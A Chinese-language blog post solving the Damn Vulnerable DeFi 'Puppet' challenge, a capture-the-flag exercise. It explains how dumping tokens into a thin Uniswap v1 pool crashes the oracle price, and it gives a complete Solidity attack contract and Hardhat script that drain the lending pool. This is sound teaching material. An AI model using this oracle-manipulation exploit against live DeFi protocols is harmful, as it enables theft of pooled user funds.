# Defi安全挑战系列-Damn Vulnerable DeFi(#8 Puppet) **Published by:** [skye](https://paragraph.com/@skye-3/) **Published on:** 2023-06-27 **URL:** https://paragraph.com/@skye-3/defi-damn-vulnerable-defi-8-puppet ## Content 有一个借贷池,用户可以借出Damn Valuable Tokens (DVT)。为了这样做,他们首先需要以抵押品形式存入两倍于借款金额的以太币。该池子目前有100,000个DVT代币的流动性。 在一个旧的Uniswap v1交易所中开设了一个DVT市场,目前有10个ETH和10个DVT的流动性。 通过从借贷池中取走所有的代币来完成挑战。你的余额中有25个ETH和1,000个DVT代币。 https://www.damnvulnerabledefi.xyz/challenges/puppet/ 分析合约 分析PuppetPool.sol发现,借贷比例是根据uniswap中ETH和token的比例确认的。如果直接使用25ETH只可以买25个DTV,无法满足题目要求消耗所有借贷池中所有DVT。分析发现uniswap池子中的流动性很“浅”,只有10个ETH加10个DVT。如果将1000个DVT全部卖掉,DVT的价格会显著降低,只需要20个ETH左右就可以购买所有的100000。 解决方案 创建PuppetPoolAttack.sol // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "@openzeppelin/contracts/utils/Address.sol"; import {DamnValuableToken} from "../DamnValuableToken.sol"; import {PuppetPool} from "./PuppetPool.sol"; import "hardhat/console.sol"; import {IUniswapExchange} from "./IUniswapExchange.sol"; contract PuppetPoolAttack { PuppetPool public puppetPool; DamnValuableToken public damnValuableToken; IUniswapExchange public uniswapV1Exchange; constructor( address puppetPoolAddress, address uniswapExchangeAddress ) payable { puppetPool = PuppetPool(puppetPoolAddress); damnValuableToken = DamnValuableToken(puppetPool.token()); uniswapV1Exchange = IUniswapExchange(uniswapExchangeAddress); } function attack() public { uint256 attackTokenAmount = damnValuableToken.balanceOf(address(this)); damnValuableToken.approve( address(uniswapV1Exchange), attackTokenAmount ); uniswapV1Exchange.tokenToEthSwapInput( attackTokenAmount, 1, block.timestamp + 5000 ); uint256 puppetPoolTokenAmount = damnValuableToken.balanceOf( address(puppetPool) ); uint256 depositRequired = puppetPool.calculateDepositRequired( puppetPoolTokenAmount ); puppetPool.borrow{value: depositRequired}( puppetPoolTokenAmount, msg.sender ); } receive() external payable {} } puppet.challenge.js it('Execution', async function () { /** CODE YOUR SOLUTION HERE */ const attackFoctory = await ethers.getContractFactory("PuppetPoolAttack"); const attackContracts = await attackFoctory.deploy( lendingPool.address, uniswapExchange.address, { value: PLAYER_INITIAL_ETH_BALANCE } ); await token.connect(player).transfer( attackContracts.address, PLAYER_INITIAL_TOKEN_BALANCE ); await attackContracts.connect(player).attack(); }); ## Publication Information - [skye](https://paragraph.com/@skye-3/): Publication homepage - [All Posts](https://paragraph.com/@skye-3/): More posts from this publication - [RSS Feed](https://api.paragraph.com/blogs/rss/@skye-3): Subscribe to updates